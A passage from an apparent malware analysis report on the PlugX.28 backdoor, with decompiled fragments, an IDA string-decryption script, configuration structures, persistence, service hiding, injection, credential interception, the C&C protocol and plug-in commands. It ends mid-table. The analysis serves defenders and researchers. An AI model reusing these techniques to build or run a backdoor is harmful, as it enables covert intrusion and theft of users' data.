RtlDecompressBuffer function is used for decompression. During the payload extraction
process the shellcode verifies executable’s signatures. MZ and PE signatures are replacedwith XV. Then DllMain is being executed. It receives the pointer to shellarg structure as a
lpReserved parameter. This structure contains payload’s configuration.

BackDoor.PlugX.28
It is a multi-module backdoor written in C++ and designed to operate in 64-bit Microsoft
Windows operating systems. Once installed by the loader, it operates in an infectedcomputer’s RAM. It is used in targeted attacks on information systems for gaining
unauthorized access to the data and for transferring it to C&C servers. Its key feature isutilizing plug-ins that contain the main backdoor’s functionality.

Operating routine
The trojan is loaded by BackDoor.PlugX.27. Calling conventions vary from function tofunction and are often non-standard: arguments are passed through arbitrary registers and /or via the stack, which may indicate the malicious program was compiled with an
optimization.
Numerous objects are defined and used for the trojan’s operation. Abstract objects
implement the data transmission interface and are used for data transferring. Thus, thefunction is not bound to the internal implementation of the connection object, whether it isa TCP socket, RAW socket, HTTP connection, or pipe. Object class can be determined in thecode, as well as defined by the server type in the configuration or by data received fromknown servers.
Almost all strings of the trojan’s code are encrypted. Decryption algorithm:
import idaapi
import struct
def dec(d):s = ''
k = struct.unpack('<I', d[:4])[0]

78

79

d = d[4:]a = k ^ 0x13377BA
b = k ^ 0x1B1
for i in range(len(d)):
a = (a + 4337) & 0xffffffff
b = (b - 28867) & 0xffffffff
a0 = (a & 0x000000ff)
a1 = (a & 0x0000ff00) >> 8
a2 = (a & 0x00ff0000) >> 16
a3 = (a & 0xff000000) >> 24
b0 = (b & 0x000000ff)
b1 = (b & 0x0000ff00) >> 8
b2 = (b & 0x00ff0000) >> 16
b3 = (b & 0xff000000) >> 24
s += chr(ord(d[i]) ^ (((b2 ^ (((b0 ^ (((a2 ^ ((a0 - a1)&0xff)) - a3)&0xff)) - b1)&0xff)) - b3) & 0xff))
return s
def decrypt(addr, size):d = ''
for i in range(size):d += chr(idaapi.get_byte(addr + i))s = dec(d)print sfor i in range(len(s)):
idaapi.patch_byte(addr + i, ord(s[i]))idaapi.patch_dword(addr + i + 1, 0)

Preparing procedures

BackDoor.PlugX.28 can obtain configuration by several ways. The loader passes theargument that is the pointer to the shellarg structure:#pragma pack(push,1)
struct st_data{_DWORD size;_BYTE *data;};
struct shellarg{_DWORD shellcode_ep;_DWORD field_4;
st_data* mod;_DWORD comp_size;
st_data* cfg;
_DWORD field_14;_DWORD op_mode;
};

79

80

#pragma pack(pop)The trojan then checks the value pointed to by shellarg->cfg. If the first 8 bytes at thisaddress equal XXXXXXXX, the backdoor prepares the so- called basic configuration, which isused by default; otherwise, the backdoor uses a decrypted and decompressed configuration,
which is received from the loader.
This second option also involves checking the availability of the configuration file stored in
the trojan’s working directory. The configuration’s filename, like many other filenames, isgenerated by the following algorithm:
int __usercall gen_string@<eax>(DWORD seed@<eax>, s *result, LPCWSTR base){
DWORD v3; // edi
DWORD v4; // eax
signed int v5; // ecx
signed int i; // edi
DWORD v7; // eax
WCHAR Buffer; // [esp+10h] [ebp-250h]__int16 v10; // [esp+16h] [ebp-24Ah]__int16 name[34]; // [esp+210h] [ebp-50h]
DWORD FileSystemFlags; // [esp+254h] [ebp-Ch]
DWORD MaximumComponentLength; // [esp+258h] [ebp-8h]
DWORD serial; // [esp+25Ch] [ebp-4h]
v3 = a1;
GetSystemDirectoryW(&Buffer, 0x200u);v10 = 0;if ( GetVolumeInformationW(&Buffer,&Buffer,0x200u,&serial,&MaximumComponentLength,&FileSystemFlags,&Buffer,0x200u) ){v4 = 0;}else{
v4 = GetLastError();}if ( v4 )serial = v3;
else
serial ^= v3;
v5 = (serial & 0xF) + 3;
for ( i = 0; i < v5; serial = 8 * (v7 - (serial >> 3) + 20140121) - ((v7 - (serial>> 3) + 20140121) >> 7) - 20140121 ){v7 = serial << 7;name[i++] = serial % 0x1A + 'a';}name[v5] = 0;
string::wcopy(a2, base);

80

81

string::wconcat(a2, (LPCWSTR)name);
return 0;}

The seed value for the configuration’s filename is 0x4358 ("CX").
To determine the paths (including working directory, the trojan can use the %AUTO% variable,
which depending on the OS version, is converted to the following:· <drive>:\\Documents and Settings\\All Users\\DRM — for Windows 2000, WindowsXP;· <drive>:\\Documents and Settings\\All Users\\Application Data — for Windows

Server 2003;· <drive>:\\ProgramData — for later Windows versions.

With that, <drive> is executed from the Windows system directory.
The received configuration can be seen as the following ("st_config”) structure:
struct config_timestamp{
BYTE days;
BYTE hours;
BYTE minutes;
BYTE seconds;};
struct srv{
WORD type;
WORD port;
BYTE address[64];};struct proxy_info{
WORD type;
WORD port;
BYTE serv_addr_str[64];BYTE username_str[64];BYTE password[64];};struct st_config{
DWORD hide_service;
DWORD gap_0[4];DWORD cleanup_files_flag;
DWORD keylog_log_event;
DWORD dword_0;
DWORD skip_persistence;
DWORD dword_1;
DWORD sleep_timeout;config_timestamp timestamp;
BYTE timetable[672];
DWORD DNS_1;
DWORD DNS_2;
DWORD DNS_3;

81

82

DWORD DNS_4;
srv srv1_basic_type3;
srv srv2_basic_type;srv srv3_basic_type_6;
srv srv3_basic_type_7;
srv srv5_basic_type_8;
srv srv6_basic_type_5;
srv srv7;
srv srv8;
srv srv9;
srv srv10;
srv srv11;
srv srv12;
srv srv13;
srv srv14;
srv srv15;
srv srv16;
BYTE url_1[128];BYTE url_2[128];BYTE url_3[128];BYTE url_4[128];BYTE url_5[128];BYTE url_6[128];BYTE url_7[128];BYTE url_8[128];BYTE url_9[128];BYTE url_10[128];BYTE url_11[128];BYTE url_12[128];BYTE url_13[128];BYTE url_14[128];BYTE url_15[128];BYTE url_16[128];
proxy_info proxy_data_1;
proxy_info proxy_data_2;
proxy_info proxy_data_3;
proxy_info proxy_data_4;
DWORD persist_mode;
DWORD env_var_AUTO_X[128];DWORD service_name[128];DWORD ServiceDisplayName[128];BYTE ServiceDescription[512];
DWORD reg_predefined_key;
BYTE reg_sub_key[512];
BYTE reg_value_name[512];
DWORD process_injection_flag;
BYTE inject_target_dummy_proc_1[512];
BYTE inject_target_dummy_proc_2[512];
BYTE inject_target_dummy_proc_3[512];
BYTE inject_target_dummy_proc_4[512];
DWORD elevated_process_injection_flag;
BYTE elevated_inject_target_dummy_proc_1[512];
BYTE elevated_inject_target_dummy_proc_2[512];
BYTE elevated_inject_target_dummy_proc_3[512];
BYTE elevated_inject_target_dummy_proc_4[512];
BYTE campaign_id[512];
BYTE str_X_4[512];
BYTE mutex_name[512];
DWORD make_screenshot_flag;

82

83

DWORD make_screenshot_time_interval;
DWORD screen_scale_coefficient;
DWORD bits_per_pixel;
DWORD encoder_quality;
DWORD screen_age;
BYTE screenshots_path[512];
DWORD subnet_scan_flag_mb;
DWORD port_54D_1;
DWORD raw_socket_subnet_flag;
DWORD port_54D_2;
DWORD type_7_subnet_flag;
DWORD portl_54D_3;
DWORD flag_1_6;
DWORD port_54D_4;
DWORD flag_1_7;
DWORD first_IP_range_addr_beg;
DWORD first_IP_range_addr_end;
DWORD first_IP_range_addr_beg_2;
DWORD first_IP_range_addr_beg_3;
DWORD last_IP_range_addr_beg;
DWORD last_IP_range_addr_end;
DWORD last_IP_range_addr_beg_2;
DWORD last_IP_range_addr_beg_3;
BYTE mac_addr[6];BYTE gap_2[2];} config;

When using default configuration, the values of certain fields are as follows:· trojan’s working directory: %AUTO%\\X;· service’s name: X;· service’s display name: X;· service’s description: X;· process name for the shellcode’s launch and injection: %windir%\\system32\\svchost.exe;· process name for launching with administrative privileges and shellcode injection: %windir%\\system32\\svchost.exe;· path for screenshot storage: %AUTO%\\XS;· mutex name: X.

Execution
The trojan obtains SeDebugPrivilege and SeTcbPrivilege privileges, then launches a
dedicated thread for further activity.
It checks for the infected computer’s network adapter with hardcoded MAC address. If theadapter is present, the trojan shuts down (there is no specific address in the sample).
It then checks the shellarg->op_mode value. The list of possible values:· more than 4 — persistence control, normal operation afterwards;

83

84· 4 — WinInet.dll hooking and exit;· 3 — injection into Internet Explorer and exit;· 2 — normal operation without persistence control.

Persistence control (op_mode>4)
The trojan checks for the config.skip_persistence flag in the configuration. If the flagis set, the trojan skips the path checking, mutex creation and persistence control stages.
Service initialization receives control.
The trojan then checks the current process’ working directory. If they match %AUTO%\\EHSrv.exe, malware skips installation stage.
It creates two Global\\<rndname> type mutex objects. The PID of the current process is aseed for the first mutex object’s name, while the PID of the parent process is a seed for thesecond mutex object’s name. After that, the trojan starts the installation process.
It checks the config.persist_mode parameter in the configuration, which determines thepersistence mode:· 0, 1 — starting the service;· 2 — recording a value in the registry.

In any case, the trojan copies its files — http_dll.dll and EHSrv.exe into the working directory(%AUTO%\\X by default) and saves the encrypted shellcode in the [HKLM\\SOFTWARE\\BINARY] 'ESETSrv’ and [HKLM\\SOFTWARE\\BINARY] 'ESETSrv’ registry keys.
Malware spoofs the files’ time attributes by changing them to the ntdll.dll system file’s
attributes.
To set itself as a service, the trojan creates and launches the
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS service with
automatic startup. Its name, display name and the description are taken from theconfiguration (stored in the config.service_name, config.ServiceDisplayName,config.ServiceDescription parameters). The lpBinaryPathName parameter of theCreateService function is set as <path>\EHSrv.exe -app.
To write itself into the registry, the trojan creates the <path>\EHSrv.exe -app registryvalue. The descriptor, key name and values are set in the configuration:

84

85

The trojan then starts a new process.
This is followed by the StartServiceCtrlDispatcherW function call that initializes theservice.
The config.process_injection_flag flag is checked in the configuration. If the flag isset, the trojan refers to the configuration for the extracting path to the executable file of theprocess that is used for shellcode injection. The name may contain environment variables.
There are four names and each of them are sequentially checked up to the first non-zerovalue. Then the trojan creates a process with the CREATE_SUSPENDED flag in which theshellcode is injected.

Upon successful injection, the process shuts down. In case of failure, the trojan transfers
control to the main functionality.
"Wininet.dll" hooking (op_mode==4)
Presumably, this mode is provided after the trojan is injected into the Internet Explorer
process.
The following functions are hooked:· HttpSendRequestA· HttpSendRequestW· HttpSendRequestExA· HttpSendRequestExW

Their purpose is to intercept HTTP requests to extract usernames and passwords for further
connecting to the proxy server. Received information is recorded in the following structure:
struct proxy_info{
WORD type;

85

86

WORD port;
BYTE serv_addr_str[64];BYTE username_str[64];BYTE password[64];};The type parameter may take the following values:· 1 — SOCKS4,· 2 — SOCKS5,· 3 — HTTP,· 5 — HTTPS,· 6 — FTP.

In the form of this structure the data is stored both in a global variable and within a file inthe backdoor’s working directory. The file’s name is generated with the 0x485A (“HZ”)
seed.
Injection into the IE process (op_mode==3)
BackDoor.PlugX.28 injects the shellcode into the IE process by CreateRemoteThread
function. The trojan searches for IEFrame window and uses its handle to get the PID. This ispreceded by initialization of the backdoor plug-ins. \\.\PIPE\<rndname> pipe name isgenerated. The current PID process serves as a seed for <rndname>. The configuration isthen re-initialized.
First, an object is created that implements the interface for asynchronous interaction with thepipe. Then the pipe is created and initialized. A handler is created in a separate thread. It
receives a pointer to the pipe connection object as a parameter. The handler receivescommands through the object interface, which are executed by plug-ins. The results are
returned to the pipe.
Main functionality (op_mode==2 or op_mode==4 after achieving persistence)
The trojan checks for the current users’ administrative privileges. Then it checks theconfig.hide_service flag in the configuration. If the flag is set and the user is not the
local administrator, the trojan then searches for %WINDIR%\SYSTEM32\SERVICES.EXE
among the running processes. It then lists the process’ modules. The trojan refers to the firstmodule in the list, reads the first section address and copies this section into its buffer. Thenit searches through the buffer for a sequence of instructions that can be represented as thefollowing regular expression:\xA3.{4}\xA3.{4}\xA3.{4}\xA3.{4}\xE8

This matches the sequence in the ScInitDatabase() function.

86

87

After that, the trojan reads ServiceDatabase address, which is a linked list of structuresdescribing running services. Then it searches for the record that corresponds to the
backdoor’s service name and “deletes” it by changing the pointers of the previous andfollowing record in the list.
After hiding the service, the trojan creates a mutex object. Its name is determined in theconfig.mutex_name parameter of the configuration.
Then the malware creates a RAW socket for sniffing all localhost IP packets. The trojan
separates TCP packets from all incoming ones and then checks them for compliance with
SOCKS4, SOCKS5, and HTTP packets. It then extracts the proxy server addresses from thesepackets and forms proxy_info structures, which are saved as a file like the trojan does with
the Wininet algorithm.
The config.elevated_process_injection_flag flag is checked in the configuration.
If the flag is set, a thread starts in which running processes are sequentially parsed to find
one running as a local administrator. The trojan copies the token of the found process andassigns the HighIntegrity class to the token’s copy. Then the malware creates a processenvironment block as a local administrator that is used to create a process with the
HighIntegrity class access token. The process name is also extracted from theconfig.elevated_inject_target_dummy_proc_<n>", n 1..4 parameter of theconfiguration. All four options are parsed until the first non-zero value. The trojan creates aprocess with the CREATE_SUSPENDED flag and injects shellcode into it. The information
about each process is stored in a special structure:
struct injected_proc{
DWORD session_ID;
DWORD pid;

87

88

DWORD hProcess;
BYTE admin_account_name[40];};struct injected_elevated__procs{
injected_proc injected_process_info[32];DWORD hThread;
DWORD hEvent;};

Then the plug-ins are initialized and the backdoor becomes ready to receive and process
commands from the C&C server. Before connecting to the C&C server, the proxy global
settings, which are used by the WIninet functions and recorded in Firefox configuration, areextracted and saved.
It is worth noting that the server addresses are stored in the configuration as structures:
struct srv{
WORD type;
WORD port;
BYTE address[64];};For interaction with the server, the trojan creates an object whose type is defined by thevalue of srv.type. Possible types of connections:· 1, 2 — pipe connection;· 3 — TCP socket (usage of SOCKS4, SOCKS5, HTTP proxies is implied);· 4 — HTTP connection;· 5 — opening of UDP socket for sniffing, operation in DNS mode;· 6, 7, 8 — RAW socket.

Supported protocols allow either the remote computer or the other process using pipe totake over server functions.
The first attempt to connect to the C&C server from the configurations is made without
using a proxy. In case of failure, proxy data stored in a global variable is used. The
configuration provides slots for up to 16 servers. If none of them are available, the URL is
extracted from the config.url_1 field. That URL is first parsed into components (such as
host, URI, and parameters), and then a GET request based on this data is generated and sent.
The trojan searches for encrypted string enclosed between the DZKS and DZJS tags in the
response message body. After decoding, the string represents the type, port, and address of
the C&C server in the form of the srv structure. There are up to 16 such URL pointers thatcan be used to get the new address of the C&C server.
The C&C server’s address decoding algorithm:

88

89

int __usercall
find_and_decode_string@<eax>(BYTE *decoded_response@<ebx>, BYTE *response_data@<eax>,
int response_data_len@<edx>){
int v3; // edx
int i; // ecx
int v6; // esi
int j; // edi
int v8; // ecx
char v9; // dl
BYTE *v10; // edx
int v11; // eax
int v12; // esi
v3 = response_data_len - 4;
for ( i = 0; i < v3; ++i ){if ( response_data[i] == 'D'&& response_data[i + 1] == 'Z'&& response_data[i + 2] == 'K'&& response_data[i + 3] == 'S' ){break;}}
if ( i >= v3 )return 1168;
v6 = i + 4;
for ( j = i + 4;
j < v3&& (response_data[j] != 'D'|| response_data[j + 1] != 'Z'|| response_data[j + 2] != 'J'|| response_data[j + 3] != 'S');
++j )
{
;
}
if ( j > v3 )return 1168;
v8 = 0;while ( v6 < j ){v9 = response_data[v6] + 16 * (response_data[v6 + 1] - 65);
response_data[v8 + 1] = 0;
response_data[v8++] = v9 - 65;
v6 += 2;}*(_WORD *)decoded_response = *response_data + (response_data[1] << 8);*((_WORD *)decoded_response + 1) = response_data[2] + (response_data[3] << 8);
if ( v8 > 0 ){v10 = decoded_response + 4;
v11 = response_data - decoded_response;
v12 = v8;
do{
*v10 = v10[v11];++v10;--v12;

89

90}
while ( v12 );}return 0;}

Initial connection to the C&C server
BackDoor.PlugX.28 gets the current time and date via the GetLocalTime function. Then it
checks the day of the week. If it is Sunday (0), it changes it to Saturday (6) in the
SYSTEMTIME structure. In other cases, it reduces the value by 1. The trojan refers to theconfig.timetable array to check the value of the element under the index that depends
on the current time. The array’s size is _BYTE[672]. Each element represents a flag of eachquarter hour in a week(24 * 7 * 4 = 672). If the element value is non-zero, execution
continues; otherwise the trojan goes into standby mode.
Checking the work schedule flag:
while ( 1 ){GetLocalTime(&local_time);
if ( local_time.wDayOfWeek )--local_time.wDayOfWeek;
else
local_time.wDayOfWeek = 6;
if ( config.timetable[4 * (local_time.wHour + 24 * local_time.wDayOfWeek) +local_time.wMinute / 15] )break;
Sleep(1000);}In the sample configuration, all array elements are equal to 1. When preparing the default
configuration, the array is also filled in with ones (1).
After checking the schedule, the trojan reads the value of the config.timestamp field,
defined as follows:
struct config_timestamp{
BYTE days;
BYTE hours;
BYTE minutes;
BYTE seconds;};

Then it converts the field’s value into seconds, multiplies by 0x10000000, and adds themwith the current system time in FILETIME format. The trojan checks the availability of the<config.service_name> parameter in the
HKCU\Software\<config.service_name> registry key. If the parameter exists, it
compares its value with the system timestamp. If the timestamp’s value is greater than thestored value, execution continues. Otherwise, the trojan goes standby mode for one second

90

91

before rechecking. If the parameter’s value does not exist, the calculated timestamp isplaced into this parameter and compared with the system timestamp. As a result, standby
mode remains active until the system timestamp is larger than the timestamp calculated at
the beginning of the check, or larger than the timestamp stored in the parameter.

result_ts is placed in the registry if necessary.
Multiplication of timestamp values is shown in the illustration:

After timing checks, the malware creates a connection object that matches the type of
connection specified for the current server. If HTTP protocol is used to communicate with the
C&C server, connection processing (receiving and transmitting data) is performed in a
separate thread. The first stage implies establishing a connection in a keep-alive mode andsending the first GET request. The URL is formed using the /%p%p%p format from threerandom DWORD values. Then the following structure is prepared:
struct prefix{
DWORD unknown;
DWORD sync_ctr;
DWORD conn_state;
DWORD available_buffer_size;};

This structure is only used when transmitting over HTTP protocol and performs the service
function of syncing and maintaining the connection. When establishing a connection, thestructure fields are filled in with the following values from the connection object’s internal
fields:91

92· unknown = 0;
· sync_ctr = 1 — a counter that increases by one every sending;· conn_state = 20130923 — represents the connection status flag. In this case, the initialvalue 20130923 is used by the client-side to make a connection request;· available_buffer_size = 0xF010 — the initial size of the object's internal buffer forstoring incoming data.
This structure is encrypted with the same algorithm used for string encryption. The output
structure looks as follows:
struct http_encrypted_data{
DWORD key;
BYTE data[0x10];}

After encryption the data is encoded in Base64 and placed in the Cookie: header, then therequest is sent to the C&C server.
The response contains the http_encrypted_data structure. Once decrypted, it transforms
into the prefix structure. The trojan checks the prefix.conn_state value that should beequal to 20130924. This value may indicate that the server is ready to receive data. Malware
authors also implied the 20130926 value that indicated the end of the connection.
Then the prefix.sync_ctr field is checked. Its value must be greater by 1 than theprefix.sync_ctr value that is sent by the client-side. This form of interaction between
server and client-side is also used when sending real data. They are placed after the prefix
structure.
After the connection to the server is established, a command request is prepared. To do so,
the trojan generates random bytes from 0 to 0x1F and forms the structure of the packet
from the header and the body.
struct packet_hdr{
DWORD key;
DWORD command_id;
DWORD len;
DWORD errc;};
struct packet{
packet_hdr header;
BYTE data[61440] //0xF000;};

This structure is used for sending data to the server and processing commands. The values ofthe (“packet_hdr”) header fields:· key — a key used for data encryption;92

93· command_id — an ID for command or command response. The ID does not change

during the response;· len — data length excluding header;· errc — error code of command execution. In most cases this field contains the(GetLastError) error code if a command could not be fully executed, or contains 0 if acommand is successfully executed. In some cases, it contains additional parameters for theclient-side to execute the command.
During first sent, command_id and errc values are equal to 0, and the len value is equal
to the length of the random sequence (0-0x1F). packet.data contains the random
sequence itself. Then the data in the ("data") packet is compressed by the LZNT1
algorithm via the RtlCompressBuffer and encrypted by a string encryption algorithmwith a random key. The packet.header.len field contains the (uncompressed_len <<0x10) | compressed_len value, where uncompressed_len and compressed_len
contain the data size before and after compression, respectively (without regard to theheader length). Then the header is being encrypted, and a random key is placed in thepacket.header.key field.
The received encrypted data is then sent to the server in the Cookie: field of the HTTP
request. The prefix structure is placed before the data and the entire received sequence isencrypted. Then it is encoded using Base64 and sent in a request. The response is acommand from the server. A packet with a command represents a structure similar topacket, but the format of data and, in some cases, the purpose of header.errc may
change depending on the command.
Processing the C&C server’s commands
After receiving the packet, it is decrypted and unpacked. The trojan checks the value of thepacket.header.command_id command ID. There are following command values:· 1 — collecting and sending system information;· 3 — operating with plug-ins;· 4 — connection reset;· 5 — self-deleting;· 6 — sending current configuration to the C&C server;· 7 — receiving new configuration;· 8 — sending information about processes with injected shellcode;· 2, 9, 10 — no actions provided;· >10 — operating with plug-ins.

The packet.header.command_id field of the received responses is set to the same value
as received in the command.

93

94

Command 1 (system information)
The trojan compares the string in the packet.data field with the string from theconfig.campaign_id configuration (TEST in the default configuration). If the strings areequal, it proceeds with gathering system information, otherwise an error occurs. After that,the trojan attempts to read a file with the name generated with the 0x4343 ("CC”) seedfrom the working directory. If the file exists, its contents are read and encoded.

If the file does not exist, one is created and a sequence of 8 random bytes is written to it.
Then this random sequence is encoded in the same way. The resulting encoded string will be
used as a response to the command. The program then collects the following information:· Computer name;· Username;· CPU frequency (from

HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0);· If the process is running under WoW64;· Domain information;· If the current user has local administrative privileges;· IP address;· RAM amount in kilobytes;· OS version;· Current time;· Screen resolution;· Locale settings;· Number of processors.

The response with the results is sent to the C&C server as a structure:
struct command_1_response{
packet_hdr header;sysinfo data;};

where sysinfo is a structure carrying system information:
struct sysinfo
{

94

95

DWORD date_stamp; //20150202
DWORD zero_0;
DWORD self_IP;
DWORD total_PhysMem;
DWORD cpu_MHz;DWORD screen_width;
DWORD screen_height;
DWORD winserv2003_build_num;
DWORD default_LCID;DWORD tick_count;
DWORD systeminfo_processor_architecture;
DWORD systeminfo_number_of_processors;
DWORD systeminfo_processor_type;
DWORD zero_1;
DWORD os_MajorVersion;
DWORD os_MinorVersion;
DWORD os_BuildNumber;
DWORD os_PlatformId;
WORD os_ServicePackMajor;
WORD os_ServicePackMinor;
WORD os_SuiteMask;
WORD os_ProductType;DWORD isWow64Process;
DWORD if_domain;
DWORD if_admin;
DWORD process_run_as_admin;
WORD systime_Year;
WORD systime_Month;
WORD systime_Day;
WORD systime_Hour;
WORD systime_Minute;
WORD systime_Second;
DWORD server_type;
WORD off_CCseed_file_data; //offset from 0
WORD off_compname_string;
WORD off_username_string;
WORD off_verinfo_szCSDVersion;
WORD off_str_X_4_from_config;
BYTE string_CCseed_file_data[16];.......
//strings};

off_CCseed_file_data, off_compname_string, off_username_string,
off_verinfo_szCSDVersion, off_str_X_4_from_config structure members areoffsets relative to the beginning of the sysinfo structure. off_str_X_4_from_config isoffset to the string copied from config.str_x_4 (x in the default configuration).
Then trojan prepares a packet to send the information to the C&C server. The header
contains the packet ID that is equal to 1. Then the packet is compressed, encrypted, and sent
to the server.

95

96

command_id == 3 (operating with plug-ins)
When a packet with command_id 3 is received, a task handler for plug-ins is launched in a
separate thread and a new connection to the C&C server is created. The incoming packet
with the command looks like this:struct command_3_packet{
packet_hdr header;
DWORD dword_0;
DWORD index;};

If the value of index is equal to 0xFFFFFFFF, task processing for plug-ins is performed in
the same process. Otherwise, this value is used as an index in the array of theinjected_elevated_procs structure. The required structure is obtained from the arrayby the specified index. Then the process ID is extracted from it, which serves as a seed forgenerating the pipe name. The trojan creates the pipe connection object that implements
the command forwarding interface for plug-ins. These commands will be executed within
another process (for example, Internet Explorer), which will be injected in case of"shellarg.op_mode" == 3, or within one of the processes specified in the configuration
and run with elevated privileges("config.elevated_inject_target_dummy_proc_<n>", n 1..4). After pipe
initialization, a response is sent to the server, which represents the same packet as thecommand does. After that, packets containing plug-in tasks are sent between two objects —the HTTP connection and the pipe.
If the value of index is set as 0xFFFFFFFF, the received packet is sent back, and the task
processing loop for plug-ins begins.
· command_id == 4 — resetting the connection. No special actions are performed; thetrojan exits the command processing cycle to connect to other servers.
· command_id == 5 — self-deleting. It deletes its service’s key from the registry anddeletes all files from its working directory.
· command_id == 6 — sending the configuration. It encrypts the current configurationand sends it in the packet body.
· command_id == 7 — receiving new configuration. The packet body contains the new

configuration. The trojan compresses it, encrypts and saves it as a file; the filename isgenerated with the 0x4358 ("CX”) seed. Then it reads it and replaces the old
configuration.
· command_id == 8 — sending information about processes with injections. It prepares apacket with information about the processes in which the shellcode was injected, thenencrypts it and sends it to the C&C server. The packet structure is as follows:
struct command_8_response{
packet_hdr header;

96

97

DWORD number_of_procs;
injected_proc injected_processes_info[number_of_procs];};· command_id > 10 — operating with plug-ins. In contrast to the "command_id" == 3

mode, in this case, it is intended to work only within the current process.
Operating with plug-ins
After the trojan receives a command with id 3 or >10 and the received packet is sent back,the C&C server responds with a packet containing a task for a plug-in. The command for theplug-in is processed separately from the main command processing cycle as well as in a
separate connection.
BackDoor.PlugX.28 operates with the following plug-ins:· DISK (2 types);· Keylogger;· Nethood;· Netstat;· Option;· PortMap;· Process;· Regedit;· Screen;· Service;· Shell;· SQL;· Telnet.

The plug-ins’ names are encrypted and used when the corresponding objects are being
initialized.
Each plug-in is represented by the plug-info object:struct pluginfo{
wchar_t name[64];DWORD timestamp;
PROC pfnInit;
PROC pfnJob;
PROC pfnFree;};

timestamp for all plug-ins is 20130707.

97

98

Plug-ins’ objects are merged into a global object that provides access to plug-in functions.
During initialization, the pluginfo.pfnInit functions are called sequentially for eachplug-in. Initialization creates an auxiliary function table. Beyond that, some additional
actions are performed for the Keylogger and Screen plug-ins.
"Keylogger” Initialization
After initializing the auxiliary function table, the trojan creates a separate thread for thepluginfo.pfnJob function, which inserts the hook of the WH_KEYBOARD_LL type. The
filename for the event log is generated with the 0x4B4C ("KL”) seed. Time file attributes
are spoofed after each entry. The log entry line has the following format:<yyyy-mm-dd hh:mm:ss> <username> <process_path> <window_title> <event>

Entries to the event log are written sequentially. Each entry has the following format:
struct keylog_rec{
DWORD recsize;
BYTE encdata[recsize];};"Screen” Initialization
During the initialization of the Screen plug-in, the screenshot creation function is started ina separate thread. First, the gdiplus.dll library is initialized in the thread, then theconfig.make_screenshot_flag flag is checked in the configuration. If the flag is not
set, the stream goes into standby mode, periodically checking the flag. If this flag is set, theconfig.screen_age value is extracted from the configuration, which sets the maximum
storage period for screenshots in days. Thus, all JPEG files whose creation dates are less than
the specified date are recursively deleted from the config.screenshots_path directory(%AUTO>%\\XS in the default configuration. Cleaning occurs once a day. Next, a screenshot
is created, encoded in JPEG format, and saved to the<config.screenshots_path>\<username>\<screen_filename>.jpg directory.
The filename for the created screenshot is written in < YYYY-MM-DD HH:MI:SS >format.
JPEG encoding settings are set in the configuration in theconfig.screen_scale_coefficient, config.encoder_quality,
config.bits_per_pixel parameters.
Each plug-in has a separate set of command_id. When responding to a command, the samecommand_id is inserted into the header. The body of the packet contains strings; the offset
is specified explicitly, and is counted from the beginning of the packet body. With that, thepacket_hdr header is skipped.

98

99

DISK plug-incommand_id for the DISK plug-in has the 0x300X, X 0,1,2,4,7,0xA,0xC,0xD,0xE format.
Command_id

Description

Input

Output0x3000

Collects information
about logical drives
with the A-Z drive
letters, fills in an arrayof structures
disk_info, andsends it to the C&C
server-struct disk_info{
int drive_type;
LARGE_INTEGER
total_bytes;
LARGE_INTEGER
free_bytes_available;
LARGE_INTEGER
free_bytes;
WORD off_volume_name;WORD off_filesystem_name;}
struct command_3000
h_response{
packet_hdr
header;disk_info
info[26]'};0x3001

Generates a list of files
and subdirectories inthe specified directory,
which is specified in
the target_dir
command parameter;
sends a separate
packet for each filestruct command_3001
h_request{
packet_hdr
header;struct command_3001
h_response{
packet_hdr
header;BYTE target_dir[];};

BOOL has_subdir; //if is dir
DWORD file_attribut
es;
DWORD filesize_high;
DWORD filesize_low;
FILETIME
creation_time;
FILETIME
last_access_time;
FILETIME
last_write_time;

99

100

100

Command_id

Description

Input

OutputWORD off_file_name;
WORD off_alternate_
file_name;...
//strings};

0x3002

Generates a list of files
from the directory
specified in thetarget_dir
command parameter.
Filenames are set by amask that can use
the ? and * symbols
to replace one ormore of any symbols;
sends a separate
packet for each filestruct command_3002
h_request{
packet_hdr
header;struct command_3002
h_response{
packet_hdr
header;

WORD off_target_dir;

DWORD file_attribut
es;

WORD off_filename_m
ask;...
//target_dir,file
name_mask};

DWORD file_size_high;
DWORD file_size_low;
FILETIME
creation_time;
FILETIME
last_access_time;
FILETIME
last_write_time;
WORD target_path_of
fset;
WORD file_name_offs
et;WORD alternate_file_name_offset;};

0x3004

Reads the requested
file in blocks by
0x1000 bytes with thespecified offset fromthe beginning of the
file. The filename andoffset are defined in
the command. First
sends information
about the file (timeattributes, file size)with the value of thecommand_id fieldstruct command_3004
h_request{
packet_hdr
header;BYTE pad_0[28];DWORD file_pointer_
offset_low;
DWORD file_pointer_
offset_high;
BYTE pad_1[8];struct command_3004
h_response{
packet_hdr
header;FILETIME
creation_time;
FILETIME
last_access_time;
FILETIME
last_write_time;
DWORD dword_0;
DWORD returned_file_pointer;

101

101

Command_id

Description

Input

OutputBYTE target_file_na
me[];
};

DWORD file_pointer_
offset_high;equal to 0x3004 in
the response header,then starts reading thefile and sends blocks
with"command_id"==0x3005. Blocks of the
file’s data are placedin the packet body.
When completed, it
sends a zero-length
packet with 0x3005 in
the header
0x3007Creates a new file oropens an existing one
from the end of the filefor writing. Writes data
to it starting from thespecified offset.
Spoofs time attributes.
The command withcommand_id0x3007 specifies thefile name and theoffset, while thecommand withcommand_id0x3008 specifies thewrite buffer

DWORD file_size_low;
DWORD file_size_high;WORD target_file_na
me_beg;};struct command_3007
h_request{
packet_hdr
header;FILETIME
creation_time;
FILETIME
last_access_time;
FILETIME
last_write_time;
DWORD dword_0;-

DWORD file_pointer_
offset_low;
DWORD file_pointer_
offset_high;
DWORD dword_1;
DWORD dword_2;
BYTE target_file_pa
th[];
};

0x300A

Creates a folder whose path is specified in thepacket body.
Responds with a zerolength packet and"command_id" ==0x300A

0x300C

Creates a processusing the commandline transmitted in thecommand body. With
that, if the errc field-struct command_300С
h_request{
packet_hdr
header;struct command_300С
h_response{
packet_hdr
header;102

102

Command_id0x300D

Description

Input

value is non-zero in
the packet header, itcreates the HH desktop
and uses it in the
STARTUP_INFO of thecreated process. As a
response it returns
PROCESS_INFORMATION of the createdprocess

BYTE cmdline[]};

Executes the
SHFileOperationWfunction with theparameters specified
in the command.
Responds with a zerolength packet

struct c2_command_3
00Dh_disk_srv2cli{
packet_hdr
header;
DWORD FO_wFunc;
WORD FOF_flags;
WORD word_0;

OutputPROCESS_INFORMATION
proc_info;};-

WORD source_file_na
me_offset;
WORD dest_file_name_offset;...
//strings;

0x300E

